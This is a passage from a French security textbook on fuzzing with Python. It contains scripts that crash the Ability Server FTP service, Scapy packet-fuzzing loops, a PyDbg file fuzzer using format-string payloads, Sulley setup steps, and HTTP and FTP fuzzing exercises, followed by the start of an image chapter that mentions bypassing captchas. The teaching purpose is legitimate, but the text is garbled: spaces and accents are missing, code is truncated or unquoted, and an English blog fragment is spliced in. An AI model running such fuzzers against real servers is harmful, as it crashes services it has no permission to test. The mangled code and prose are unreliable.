Nousallonsdoncmaintenantessayerdenvoyerplusieurscommandeset,pourchacunedentreelles,denvoyerun
nombredargumentscroissantjusqu dclencherunplantagepotentielduserveurFTP.
Nousallonsenvoyerdes A commearguments.
Script_final_ftp_fuzzing.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
commande=[MKD,CWD,STOR]
Dans ce script nous allons donc prendre chaque commande de la liste commande grce la boucle for pour
ensuite,grcelabouclewhile,luiajouterlesarguments.
- 3-
NouspouvonsobserverquelescriptsarrtepourlacommandeSTORavec1041caractresAetqueAbilityServer
asubiuncrash.
Nousvenonsdoncdeffectuernotrepremierfuzzer.
- 4-
FuzzingavecScapy
Lafonction fuzz()estcapabledechangernimportequellevaleurpardfaut,tellequelechecksumparunobjet
dontlavaleurestalatoireetletypeadaptauchamp.Cequivanouspermettredecrerrapidementunfuzzer
etdelenvoyer dansuneboucle
Danslexemplesuivant,lacoucheIPestnormaleetlescouchesUDPetNTPsontfuzzes.LechecksumUDPsera
correct,leportUDPdedestinationserasurcharg,NTPauralavaleur123etlaversionseraforce4.Tousles
autresportsserontrendusalatoires.
Nouspouvonsbienentendu,commenouslavonsvuauchapitreRseau:labibliothqueScapy,configurercomme
nouslevoulonslafonctionfuzz().
Nous pouvons maintenant lancer le fuzzing et observer avec un "renifleur de paquet", tel que Wireshark ou
tcpdump,lchangeentreleclientetleserveur.
- 1-
La capture dcran suivante montre le rsultat sous Wireshark. Wireshark est un logiciel gratuit, disponible en
tlchargementetlestutoriauxsontmultiples. Sonutilisationestsimpleetinstinctive.
Nousvoyonsbienicilespaquetsenvoyslamachine10.0.0.2.
TentonsmaintenantunfuzzingsurnotreserveurAbilityServerenlanantlacommandesuivante:
send(IP(dst="10.0.0.2")/fuzz(TCP(dport=21)),loop=1)
Nous pouvons constater que de multiples paquets sont envoys la cible (10.0.0.2). En examinant les paquets
sparment,nouspouvonsobserverlesdiffrentesdonnesenvoyesetvoirlescommandesutilises.
Nousobservonsunaccroissementdesconnexionssurleserveur.
- 2-
- 3-
FuzzingavecPyDbg :formatstring
1.Introduction
Lebutesticiaussidercriredesdonnespourcontrlerlefluxdexcutionafindaugmenternosprivilges.
Ce type de faille vient aussi derreurs de programmation qui apparemment nengendrent pas de risque de
scurit.
Leformatstringouformatdechaneestissudesfonctionsdetypeprintfetdetoussesdrivsquisontmal
utiliss.
Nous allons dans un premier temps tudier la fonction printf et ses arguments pour comprendre la faille pour
ensuitepouvoirlexploiter.
%d:sertafficherchoix_user
auformatdcimal
%u:dcimalnonsign
%x:hexadcimal
%s:chanedecaractres
%n:stockelenombredecaractrescritsparlafonctionprintf
%n:motmmoire
%hn:"short"(16bits)
%hhn:"char"(8bits)
Quand lutilisateur entre le paramtre %x et que celuici est pass en argument de la fonction printf(), la
reprsentationhexadcimaledunmotde4 octetsdelapileestaffiche(parexemple0xbfe3b024).
Ceparamtrepeuttreutilispourexaminerlammoire.
On pourrait utiliser dautres paramtres tels que %s ou %n pour lire des chanes de caractres ou pour aller
crireenmmoire.
CestcetypedefaillequenoussouhaitonstestergrcePyDbg.
2.Fuzzerdefichiers
Lesvulnrabilitsdetypeformatstringvontvitedevenirundesprincipauxchoixpourlesattaquesctclient,
cestpourquoinousallonsnousyintresserici.
Fuzzer_fichier.py
utils
random
sys
struct
threading
os
- 1-
import shutil
import time
import getopt
class file_fuzzer:
def __init__(self, exe_path, ext, notify):
self.exe_path
= exe_path
self.ext
= ext
self.notify_crash
= notify
self.orig_file
= None
self.mutated_file
= None
self.iteration
= 0
self.exe_path
= exe_path
self.orig_file
= None
self.mutated_file
= None
self.iteration
= 0
self.crash
= None
self.send_notify
= False
self.pid
= None
self.in_accessv_handler
= False
self.dbg
= None
self.running
= False
self.ready
= False
self.smtpserver
self.recipients
self.sender
self.test_cases
=
=
=
=
smtp.free.fr
[fasm@acissi.net,]
franck.ebel@free.fr
[ "%s%n%s%n%s%n", "\xff", "\x00", "A" ]
- 2-
- 3-
sys.exit(0)
if __name__ == "__main__":
print "[*] Generic File Fuzzer."
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n")
except getopt.GetoptError:
print_usage()
exe_path = None
ext
= None
notify
= False
for o,a in opts:
if o == "-e":
exe_path = a
elif o == "-x":
ext = a
elif o == "-n":
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify)
fuzzer.fuzz()
else:
print_usage()
Lapremiretapeconsistevrifierquaucuneitrationdufuzzernestdjenactiongrceself.running
quiestmispardfautfalse.Celuiciseramistruedsquuneitrationseraactive.
Lamutationdufichierpeutcommencergrce mutate_file().Cettedfinition vacrerlesargumentsque
nous allons pouvoir inclure aux commandes susceptibles dtre faillibles. Ces commandes gnres seront
inscrites dansunfichierfuzz_file.
Nous pouvons ensuite lancer le thread ( threading.Thread()) qui lancera donc le debugger
indpendamment du script. Pour finir, le monitoring sera lanc afin de pouvoir visualiser les actions dans le
thread.
Si vous avez bien compris le chapitre Dbogage sous Windows, ce script ne devrait pas vous poser trop de
problmes.
Pourtesterlefuzzer,nouspouvonsmaintenantcrerdeuxrpertoiresdanslemmerpertoirequenotrescript,
lunappelcrashesetlautreexamples.
Dans ce dernier, nous crons deux fichiers au format .txt contenant une liste de chanes de caractres par
exemple.
Nouspouvonsmaintenantlancernotrefuzzerenluidonnantcommeargumentlecheminversnotepad.exe.
Cet exemple est juste un essai de fonctionnement. Si tout se passe bien, vous pourrez tenter le fuzzing sur
dautreslogiciels.
Rsultatdanslefichiertexte
- 4-
- 5-
Sulley
1.Introduction
Ilexistedenombreuxoutils,bibliothques,frameworkenPythonpoureffectuerdufuzzing.Danslecadredece
livre,nousallonstudierunframework,trscomplet,dunomdeSulley.
2.Installation
a.Installationnormale
Linstallationstandardncessitequelquesinstallationsdelogicielseffectuerdanslordrecidessous :
Installez WinPcaP avec une installation par dfaut. Tlchargez donc WinPcaP developers pack qui
est
ncessaire
pour
la
compilation
de
pcapy
(http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip).
Installez
MinGW
(http://sourceforge.net/projects/mingw/files/Automated%20MinGW%
20Installer/mingwgetinst/mingwgetinst20110530/mingwgetinst20110530
src.tar.gz/download). Ralisez linstallation par dfaut, except ltape de slection du type de
compilateur o vous cocherez C++ compiler. Aprs linstallation, indiquez le chemin vers le binaire
MinGWdanslavariablePATH(C:\MinGW\bin).
Installez Python (http://www.python.org/ftp/python/2.7.2/python2.7.2.msi). Aprs linstallation,
indiquezlecheminverslebinairedanslavariablePATH.
Installez pydasm, tlchargez libdasm (http://code.google.com/p/libdasm/downloads/list), extrayez
le,entrezdanslerpertoirepydasm,compilezetinstallezcommeindiqucidessous :
- 1-
---[snip]--Writing C:\Python27\Lib\site-packages\pcapy-0.10.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>
Installez impacket par la commande python
lavezdcompress.
Tlchargez Sulley, dcompressez le rpertoire dans le dossier de votre choix, par exemple ici,
C:\sulley.Entrezdanscerpertoire.
Nousallonsmaintenantvrifierquelesnetworketprocessmonitorsfonctionnent :
C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH]
log directory to store pcaps to
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]
192.168.1.102
C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH]
log directory to store pcaps to
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]
192.168.1.102
C:\sulley>
Sivoustesarrivjusquelsansencombre,vouspouvezviterdelirelasectionsuivante.
b.Installationnonstandard
Si linstallation dite normale ne sest pas droule parfaitement, vous avez d rcolter quelques erreurs,
reprenezlinstallationcommeindiquecidessous.
Vous devriez normalement avoir sur votre ordinateur Python 2.7. Si cela nest pas le cas, nous allons
commencerpartlchargerPython2.7(http://www.python.org/ftp/python/2.7.2/python2.7.2.msi)etlinstaller.
TestonsmaintenantsiPythonfonctionne :
NousdevonsdoncajouterlechemindePythondanslavariablePATH.
- 2-
Nous
allons
maintenant
installer
Sulley,
dans
sa
version
sulleystablerev157
(http://sulley.googlecode.com/files/sulleystablerev157.zip).NousallonsextrairelarchivedansC:\sulley.
Voyonssicedernierfonctionne :
C:\sulley>python process_monitor.py
Traceback (most recent call last):
File "process_monitor.py", line 14, in
from pydbg
import *
ImportError: No module named pydbg
Sulley a besoin de PyDbg. Thoriquement, si vous avez tudi le chapitre Dbogage sous Windows, celuici
devraittredjinstall.
Dans
le
cas
contraire,
tlchargez
Paimei
qui
le
contient,
entre
autres
(http://code.google.com/p/paimei/source/checkout). En effet, PyDbg nest plus fourni seul, mais dans un
paquetagenommPaimei.
Nous allons essayer de nouveau de lancer process_monitor.py comme prcdemment pour tester le
fonctionnement.
C:\sulley>python process_monitor.py
Traceback (most recent call last):
File "process_monitor.py", line 14, in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\__init__.py", line 47,
in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\pydbg.py", line 32, in
import pydasm
ENI Editions - All rights reserved - chantal gournier
- 3-
PyDbg a besoin de pydasm pour fonctionner. Nous allons donc tlcharger libdasm
(http://code.google.com/p/libdasm/downloads/list),lextraireetnousplacerdanslerpertoiredepydasm.Nous
allonsessayerdelecompiler:
Nousavonsdoncbesoinduncompilateur.
Nous allons utiliser MinGW. Un installeur est fourni pour MinGW :mingwgetinst20110530.exe
(http://sourceforge.net/projects/mingw/files/Automated%20MinGW%20Installer/mingwgetinst/mingwget
inst20110530/mingwgetinst20110530src.tar.gz/download).
NousallonseffectuerlinstallationpardfautdansC:\MinGW.Nousallonsessayerdecompiler :
DemmequavecPython,nousavonsbesoindindiquersonchemindanslePATH :C:\MinGW\bin.
Celaeffectu,fermezlesconsoles,ouvrezenunenouvelleetessayezdenouveau.
Lacompilationabienrussi.Nouspouvonsmaintenantinstallerpydasm.
- 4-
Nousallonsdoncencoreessayerdelancerprocess_monitor.py :
Cela ne fonctionne pas, alors que nous venons juste dinstaller pydasm. Essayons de limporter dans
linterprteurPython.
C:\sulley>python
Python 2.7.2 (default, Jun 12 2011, 15:08:59) [MSC v.1500 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more
information.
>>> import pydasm
>>>
Dans linterprteur, cela fonctionne. Nous allons regarder dans le rpertoire C:\Python27\lib\site
packages\pydbg\ si nous voyons pydasm.pyd qui est inclus dans PyDbg. Nous allons le supprimer ou le
renommer,enconsquencePythonutiliseraletoutnouveaupydasm.pydquenousvenonsdinstaller.
Nousallonsmaintenantretenteruntest :
C:\sulley>python process_monitor.py
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin
class to
[-p|--proc_name NAME]
process name to search for and
attach to
[-i|--ignore_pid PID]
ignore this PID when searching for
the target process
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]
C:\sulley>
- 5-
Maintenantquenousnavonsplusdemessagederreurmaislaidedutilisation,nousallonsessayerdelancer
network_monitor.pyquisetrouveaussidanslerpertoiredeSulley:
C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 11, in
import pcapy
ImportError: No module named pcapy
C:\sulley>
Nous avons tout lheure install MinGW par dfaut, il nous manque le compilateur C++. Nous devons donc
installerdenouveauMinGW,maiscettefoisavecloptionC++.Essayonsdenouveau :
Pcap.h est contenu dans le pack dveloppeur de WinPcaP. Nous devons donc rcuprer ce pack
(http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip). Essayons de le compiler de nouveau en utilisant
loption -lpourindiquerlechemindepcap.h.
- 6-
Ilsembleraitquelaliaisonauxlibrairiesexterneswpcapetpacketaitchou.Ellessontinclusesdanslepack
dveloppeur de WinPcaP que nous venons de tlcharger. Essayons de nouveau avec loption -L vers la
bonnelocalisation :
Celasemblebeaucoupmieux,nouspouvonstenterdenouveaulinstallation.
- 7-
running install_lib
copying build\lib.win32-2.7\pcapy.pyd -> C:\Python27\Lib\sitepackages
running install_data
creating C:\Python27\share
creating C:\Python27\share\doc
creating C:\Python27\share\doc\pcapy
copying README -> C:\Python27\share\doc\pcapy
copying LICENSE -> C:\Python27\share\doc\pcapy
copying pcapy.html -> C:\Python27\share\doc\pcapy
running install_egg_info
Writing C:\Python27\Lib\site-packages\pcapy-0.10.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>
[\sourcecode]</pre>
Another shot at running the network monitor:
[sourcecode language="text" gutter="false"
highlight="1,2,3,4,5,6,7,8,9,10,11,12,13,14"]
C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 11, in <module>
import pcapy
ImportError: DLL load failed: The specified module could not be
found.
C:\sulley>
Le chargement de la DLL a chou. Nous devons installer WinPcaP. Nous utiliserons la version 4.1.2 de
linstalleurpourWindows(http://www.winpcap.org/install/bin/WinPcap_4_1_2.exe).
Nousallonsencoreunefoistenterdelancernetwork_monitor.py:
C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 12, in <module>
import impacket
ImportError: No module named impacket
C:\sulley>
Nous navons pas de module du nom dimpacket. Nous allons donc le tlcharger et linstaller
(http://oss.coresecurity.com/repo/Impacket0.9.6.0.zip) :
Nousdevrionstreauboutdenospeines :
C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
<-d|--device DEVICE #>
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
- 8-
[-P|--log_path PATH]
[-l|--log_level LEVEL]
more verbosity
[--port PORT]
192.168.1.102
C:\sulley>
Noussommesenfinarrivstoutinstaller,lutilisationdeSulleypeutcommencer.
3.Utilisation
LutilisationdeSulleypeutsedcomposerentroisphases :
Reprsentationdedonnes :premiretapedanslutilisationdunfuzzer.
Session :liernosrequtespourformerunesession,attacherlesdiffrentsmonitoringetcommencerle
fuzzing.
PostMortem :tudierlesdonnesgnresetlesrsultatsdumonitoring.Rejouerlestestsindividuels.
a.StructuredurpertoiredeSulley
archived_fuzzies :cestdanscerpertoirequenousretrouveronslesfuzzingeffectusrangsparnom
desciblesetlesdonnesgnresparlessessions.
audits : enregistrement des PCAP, des crash de binaires, etc. de la session en cours. Une fois la
- 9-
sessiontermine,lecontenudevratretransfrverslerpertoirearchived_fuzzies.
docs :documentation.
requests :librairiedesrequtesdeSulley.Chaqueciblepourraavoirsonproprefichierquipourratre
utilispourstockerdiversesrequtes.
sulley :leframework.
legos :primitivescomplexes
ber.py :ASN.1/BER
dcerpc.py :MicrosoftRPCNDR
misc.py :diversesprimitivesnonclassablescommelesadressesemail,lesnomsdhtes...
xdr.py :XDR
pgraph :librairiepourlesgraph
utils :routinesdaide
dcerpc.py :MicrosoftRPC
misc.py :routinesnonclassablestellesqueCRC16etmanipulationdUUID.
Scada.py :routinesdaidepourencodeurDNP3
init.py :diversesalias(_s)utilisspourcrerdesrequtessontdfinisici.
blocks.py :lesblockssontdfinisici.
pedrpc.py :lesfichiersdfinissantlesclassesdesclientsetserveursquipeuventtreutilissdans
lescommunicationsentrelesdiversagentsetlefuzzerprincipal.
primitives.py :touteslesprimitives,incluantstatic,random,stringsetintegers.
sessions.py :fonctionspourconstruireetexcuterdessessions.
sex.py :exceptions.
units_tests :testsunitaires.
utils :utilitaires.
ida_fuzz_library_extend.py
crash_bin_explorer.py
pcap_cleaner.py
network_monitor.py :agentPedRPC,monitoringderseau.
process_monitor.py :agentPedRPCdemonitoringdelacibleetdedebogage.
unit_test.py :testsunitaires.
vmcontrol.py :agentPedRPCdecontrledeVMware.
b.Reprsentationdedonnes
Sulleyutiliseuneapprocheparblockspourgnrerdesrequtesindividuelles.Ellesserontrassemblesplus
tarddansdessessions.
Pourcommencer,nousdevonsinitialisernotrerequteavecunnom.
- 10 -
s_initialize("requete1")
Nouspouvonsmaintenantcommencerajouterdesprimitives,desblocks,desblocksimbriqus.
Les primitives peuvent retourner leur contenu en donnes brutes (rendered) ou transformer leur contenu
interne(mutated).
Les primitives mutables acceptent une valeur par dfaut qui sera restaure quand les valeurs pouvant tre
fuzzessontpuises.
c.Primitivesstatiquesetalatoires
Laprimitives_static()comporteplusieursalias : s_dunno(),s_raw()ets_unknown().
Cetteprimitiveajouteunevariableimmuabledelongueurarbitrairelarequte.
Lesexemplescidessoussontidentiques :
s_static("fasm\x00est\x01ici\x02")
s_raw("fasm\x00est\x01ici\x02")
s_dunno("fasm\x00est\x01ici\x02")
s_unknown("fasm\x00est\x01ici\x02")
s _binary()estuneprimitivequiacceptedesdonnesbinairesreprsentessousdiversformats.
s_random(),
contrairement aux autres primitives vues cidessus, peut tre utilise pour gnrer des
donnesalatoiresetdelongueursvaries.
Cette primitive prend deux arguments, min_length et max_length spcifiant les bornes des donnes
alatoiresgnrer.
Cetteprimitiveaccepteaussidesargumentsoptionnels :
num_mutations(entier,dfaut=25):nombredemutationseffectueravantdereveniraunombre
pardfaut.
fuzzable (boolen,dfaut=True):valideouinvalidelefuzzingdecetteprimitive.
name(chanedecaractres,dfaut=None):nouspouvonsdfinirunnompourunaccsdirectlorsde
larequte.
d.Lesentiers
IlexisteplusieurstaillesdentierssousSulley :
1octet :s_byte(),s_char()
2octets :s_word(),s_short()
4octets :s_dword(),s_long(),s_int()
ENI Editions - All rights reserved - chantal gournier
- 11 -
8octets :s_qword(),s_double()
Cestypesdentiersacceptentchacunauminimumunseulargument,lavaleurpardfaut.
Desargumentsoptionnelspeuventtrespcifis :
endian(caractre,dfaut=<):<estlelittleendianet>lebigendian.
format (chanedecaractres,dfaut=binary):formatdesortie,binaryouascii.
signed (boolen,dfaut=False):applicablepourleformatascii.
full_range (boolen,dfaut=False):sicetargumentestTrue,lamutationpourraprendretoutes
lesvaleurspossibles.
fuzzable (boolen,dfaut=True):valideroudvaliderlefuzzing.
name (chanedecaractres,dfaut=None):nompourunaccsdirectpendantlarequte.
e.Chanesdecaractresetdlimiteurs
Laprimitives_string()demandeunargumentobligatoirespcifiantunevaleurpardfautvalide.
Elleaccepteaussidesargumentsoptionnels:
size (entier, dfaut= 1) : laisser par dfaut pour une longueur dynamique, sinon ce sera une
longueurfixe.
padding (caractre, dfaut= \x00): si une taille spcifique est dfinie et si la chane de caractres
gnre est plus petite que la taille, cette valeur est utilise pour remplir le champ jusqu la taille
dfinie.
encoding(chanedecaractres,dfaut=ascii):encodageutilispourleschanesdecaractres.
fuzzable(boolen,dfaut=True):valideouinvalidelefuzzing.
name(chanedecaractres,dfaut=None):idemquepourlesprimitivesprcdentes.
Nousretrouveronssouventdansdeschanesdecaractresplusieursdlimiteurs.Parexemple,sinousprenons
larequteHTTPsuivante: GET/index.htmlHTTP/10 ,nousretrouvonslespacecommedlimiteurmaisaussi
le . etle / .
Il faudra donc bien sassurer lors de la dclaration de cette requte dutiliser
dlimiteur.
Exemplededclaration
f.LesextensionsFuzzLibrary
- 12 -
Si nous dsirons ajouter des chanes de caractres ou des entiers, nous pouvons le faire aisment, il nous
suffitsimplementdecrerunfichier.fuzz_stringsou.fuzz_intsdanslerpertoiredanslequelnouslancerons
notrefuzzer.Sulleyajouteralesvaleursprisesdanscesfichierslalibrairie.
g.Blocks
Maintenantquenousavonsdfinilesprimitives,nousallonsvoircommentlesorganiseretimbriquerdansdes
blocks.
Lesblockssontdfinisetouvertsavecs_block_start()etfermsavecs_block-end().
Chaqueblockdoitavoirunnomquiseralepremierargumentdes_block_start().
Lesargumentsoptionnelspeuventtre :
group(chanedecaractres,dfaut=None):nomdugroupeassocieravecceblock.
ENI Editions - All rights reserved - chantal gournier
- 13 -
encoder(pointeurdefonction,dfaut=None):pointeurversunefonctionquiretourneraunedonne.
dep(chanedecaractres,dfaut=None):spcifieunevaleurdontleblockestdpendant.
dep_value(mixte,dfaut=None):valeurquelechampdepdoitcontenirpourlarestitutiondublock.
dep_values (listes de types mixte, dfaut= [ ]) : valeurs que le champ dep doit contenir pour la
restitutiondublock.
dep_compare
Quandunblockestferm,ilnepeuttremisjour.
h.Groupes
Laprimitive s_group()dfinitungroupeetacceptedeuxargumentsobligatoires.Lepremierestlenomdu
groupe,ledeuximeunelistedevaleursbrutes.
Prenonslexemplecidessous:
Cet exemple est assez explicite : un block a t dfini et initialis grce s_initialize(), ensuite un
groupe est dfini avec les variables fuzzer, ensuite un nouveau block est dfini avec le groupe dfini juste
avant.
Quand une session sera charge avec ces requtes, le fuzzer gnrera et transmettra toutes les valeurs
possiblesaublock body etcepourchaquevariable(verbs)dfiniedanslegroupe.
i.Encodeur
Nouspouvonsdfiniruneroutinedencodagequenouspourronsensuiteintgrerunblockensuite.
new_buf = ""
for char in buf:
new_buf += chr(ord(char) poly)
return new_buf
..
if s_block_start("data", encoder=prog_xor):
..
Danslexemplecidessus,unedfinitionprog_xorestcreetplusloindanslescript,aulancementdublock,
lencodeurdfiniplushautestutilis.
j.Dpendances
Les dpendances nous autorisent appliquer une condition pour la restitution du block entier. Il nous faut
dabord lier un block une primitive dont il dpend (utilisation du paramtre dep), il vrifiera la valeur de la
primitivelieetsecomporteraenconsquence.
s_short("opcode", full_range=True)
# opcode 10 a besoin dune sequence dauthentification.
if s_block_start("auth", dep="opcode", dep_value=10):
s_string("USER")
s_delim(" ")
s_string("pedram")
s_static("\r\n")
s_string("PASS")
s_delim(" ")
s_delim("fuzzywuzzy")
s_block_end()
# opcodes 15 et 16 ont besoin dun hostname.
if s_block_start("hostname", dep="opcode", dep_values=[15, 16]):
s_string("eni.fr")
s_block_end()
# le reste a besoin dune chaine de caracteres avec deux
# underscores.
if s_block_start("something", dep="opcode", dep_values=[10, 15,
16], dep_compare="!="):
s_static("__")
s_string("quelques mots")
s_block_end()
k.BlocksHelpers
Lesblockshelperscontiennentdessizers,checksumsetrepeaters.
CelaestaussiunaspecttrsimportantcomprendredeSulley.
Sizers
Cethelpers_sizer()prendlenomdublockenpremierargumentpourmesurerlatailledeceluici.
Ilacceptedautresargumentsoptionnels :
length(entier,dfaut=4):tailledeschamps.
endian(caractre,dfaut=<):<littleindian,>bigendian.
format(chanedecaractres,dfaut=binary):binaryouascii.
inclusive(boolen,dfaut=False):lesizerdoitilsecompterdanslataille ?
- 15 -
signed(boolen,dfaut=False):signounonsign,pourleformatascii.
math(fonction,dfaut=None):appliquelesoprationsmathmatiquesdfiniesdanslafonctionpour
lataille.
fuzzable(boolen,dfaut=False):valideouinvalidelefuzzingpourcetteprimitive.
name(chanedecaractres,dfaut=None):idemquepourlesautresprimitives.
Checksums
Commepourlesizer,s_checksum()prendlenomdublockcommeargumentpourcalculerlechecksum.
Nouspouvonsspcifierlesargumentsoptionnelssuivants :
algorithm(chanedecaractresoupointeurdefonction,dfaut="crc32") :algorithmedechecksum
appliquerlacible(crc32,adler32,md5,sha1).
endian(caractre,dfaut=<):<pourlittleendianet>pourbigendian.
length(entier,dfaut=0):longueurduchecksum,laisser0pouruncalculautomatique.
name(chanedecaractres,dfaut=None):idemqueprcdemment.
Repeaters
s_repeat()
est utilis pour dupliquer un block un certain nombre de fois. Il prend trois arguments
obligatoires:lenomdublockrpter,lenombreminimumetlenombremaximumderptitions.
Ilexisteaussitroisargumentsnonobligatoires :
step(entier,dfaut=1):nombredepasentrelesrptitionsminetmax.
fuzzable(boolen,dfaut=False):valideouinvalidelefuzzingdecetteprimitive.
name(chanedecaractres,dfaut=None):idemquepourlesautresprimitives.
l.Legos
Laprimitivelegosestutilisepourreprsenterdescomposantsdfinisparlutilisateurtelsquelesadressese
mail,lesnomsdhtes,lesprotocolescommeMicrosoftRPC,XDR,ASN.1...
- 16 -
s_lego("ber_string","anonymous")
Chaquelegosuitunformatsimilairelexceptiondesargumentsoptionnelsquisontspcifiqueschacun.
Exempledulegotag
Celegoaccepteletagdsircommeunechanedecaractresetlencapsuleaveclesdlimiteursappropris.
Autreexemple
LexemplecidessusestunlegoquireprsentelesentierspourleprotocoleASN.1/BER.Lentierestajoutau
block grce self.push(), la routine est surcharge pour prfixer le contenu avec la squence statique
\x02\x04poursatisfairelareprsentationdelentier.
- 17 -
Applications
1.Fuzzing1 :HTTP
a.nonc
Prrequis :Sulley,protocoleHTTP.
But :crerunfuzzingdesiteWeb.
nonc :
Nousvoudrionscrerunfuzzeravecplusieursblocks.
Un block, par exemple, permettra de fuzzer toutes les chanes de caractres de largument /index.html
HTTP/1.1 pourtouteslescommandes:GET,HEAD, POST, OPTIONS,TRACE,PUT,DELETEetPROPFIND.
Vousimplmenterezplusieursblocksselonvotreimagination,seulecellecietleslimitesduprotocolepeuvent
vousbloquer.
b.Exempledecorrig
- 1-
s_static("Content-Length: ")
s_size("post blob", format="ascii", signed=True, fuzzable=True)
s_static("\r\n\r\n")
if s_block_start("post blob"):
s_string("A"*100 + "=" + "B"*100)
s_block_end()
################################################################
s_initialize("HTTP HEADERS")
s_static("GET / HTTP/1.1\r\n")
# lets fuzz random headers with malformed delimiters.
s_string("Host")
s_delim(":")
s_delim(" ")
s_string("localhost")
s_delim("\r\n")
# lets fuzz the value portion of some popular headers.
s_static("User-Agent: ")
s_string("Mozilla/5.0 (Windows; U)")
s_static("\r\n")
s_static("Accept-Language: ")
s_string("en-us")
s_delim(",")
s_string("en;q=0.5")
s_static("\r\n")
s_static("Keep-Alive: ")
s_string("300")
s_static("\r\n")
s_static("Connection: ")
s_string("keep-alive")
s_static("\r\n")
s_static("Referer: ")
s_string("http://dvlabs.tippingpoint.com")
s_static("\r\n")
s_static("\r\n")
################################################################
s_initialize("HTTP COOKIE")
s_static("GET / HTTP/1.1\r\n")
if s_block_start("cookie"):
s_static("Cookie: ")
s_string("auth")
s_delim("=")
s_string("1234567890")
s_static("\r\n")
s_block_end()
s_repeat("cookie", max_reps=5000, step=500)
s_static("\r\n")
Aprsavoirdfininosdlimiteursetnoschanesdecaractresdanslesdiffrentsblockssuivantcequenous
dsirons tester, nous pouvons lancer le fuzzing. Cinq blocks sont ici prsents pour lexemple mais nous
pouvonsbiensrajouterdautresblockspouraffinernotrerecherchedefailles.
2.Fuzzing2 :FTP
a.nonc
Prrequis:Sulley,protocoleFTP.
But:crerunfuzzingpourtesterAbilityServer.
nonc:
EssayezdetrouverunefaillepotentielledansAbilityServer 2.34,quenousavonsdjtudidanscechapitre.
- 2-
b.Exempledecorrig
#!/usr/bin/env python
from sulley import *
import sys
import time
s_initialize("user")
s_static("USER")
s_delim(" ")
s_static("ftp")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_static("ftp")
s_static("\r\n")
s_initialize("stor")
s_static("STOR")
s_delim(" ")
s_string("AAAA")
s_static("\r\n")
print "Mutations: " + str(s_num_mutations())
print "Press CTRL/C to cancel in ",
for i in range(3):
print str(3 - i) + " ",
sys.stdout.flush()
time.sleep(1)
def receive_ftp_banner(sock):
sock.recv(1024)
print "Instantiating session"
sess = sessions.session(session_filename="ftp.session",
sleep_time=0.25)
print "Instantiating target"
target = sessions.target("192.168.0.5", 21)
target.procmon = pedrpc.client("192.168.0.1", 26002)
target.procmon_options = {
"proc_name" : "Ability Server.exe",
"stop_commands" : [wmic process where (name="Ability
Server.exe") delete"],
"start_commands" : [C:\\Documents and
Settings\\fasm\\Bureau\\Ability Server.exe],
}
sess.pre_send = receive_ftp_banner
sess.add_target(target)
sess.connect(s_get("user"))
sess.connect(s_get("user"),s_get("pass"))
sess.connect(s_get("pass"),s_get("stor"))
print "Demarrage du fuzzing"
sess.fuzz()
Nous commenons par nous identifier sur le serveur ftp avec lidentifiant ftp et le mot de passe ftp. Nous
lanonsensuitelefuzzingsurlacommandeSTOR.Nousaurionsbienentendupufaireunebouclesuruneliste
quicontiendraittouteslescommandesFTPquidemandentunargumenttellesqueSTOR,MKO,CWD...
- 3-
Nousvoyonssurlescopiesdcrancidessus,lavancementdufuzzingsurAbility Server.
- 4-
Introduction
PIL (Python Imaging Library) est un paquet qui contient plusieurs fonctions pour manipuler des images dans un
scriptPython.
MaisquelestlerapportentreletraitementdimagesetleHackingouleForensic ?
UnepartieduHacking,maisquifaitpartieintgranteaussiduForensic,estlastganographie.
Lastganographie(dugrec steganos, couvert etgraphein, criture) est lart de cacher un message au sein dun
autremessagedecaractreanodin,desortequelexistencemmedusecretensoitdissimule.Alorsquavecla
cryptographie habituelle, la scurit repose sur le fait que le message ne sera sans doute pas compris, avec la
stganographie,lascuritreposesurlefaitquelemessage neserapassansdoutepasdtect.
Nous aurons donc besoin dans certains cas dtudier les images dans un ordinateur lors dune perquisition afin
dessayerdedtecterdesmessagesoudautreschosescachesdanscellesci.
Lanalyse de captcha avec PIL, associe avec dautres outils, va nous permettre de contourner cette protection
lorsdaccsdessitesweb.Enexercicenousanalyseronsuncasdecaptcha.
Lecaptchaestunmoyentrsutilis(presquepartout)quipermet(thoriquement)dviterdesactionsderobots,
doncautomatisessurdiffrentssitesweb.
- 1-
Utilisation
1.LaclasseImage
PILestinclusdanslesdistributionsLinuxdanslepaquetimaging(pythonimaging).
La plus importante classe dans PIL est la classe Image, dfinie dans le module portant le mme nom. Nous
pouvonscreruneinstancedecetteclassedediffrentes manires:enchargeantlimagepartirdunfichier,
entraitantdautresimagesouencrantuneimagepartirdezro.
Pourchargeruneimagepartirdunfichier,nousutiliseronslafonctionopen.
LimagecidessoussetrouvedansledossierojelancelescriptPython :
Si cela sest bien droul, cette fonction retourne un objet image. Nous pouvons maintenant utiliser cette
instructionpourexaminersoncontenu.
>>> im.show()
Limageapparatdansunefentrespare.
chap5_script1.py
import sys
from PIL import Image
- 1-
PIL_Version = Image.VERSION
img_filename = "eni.jpeg"
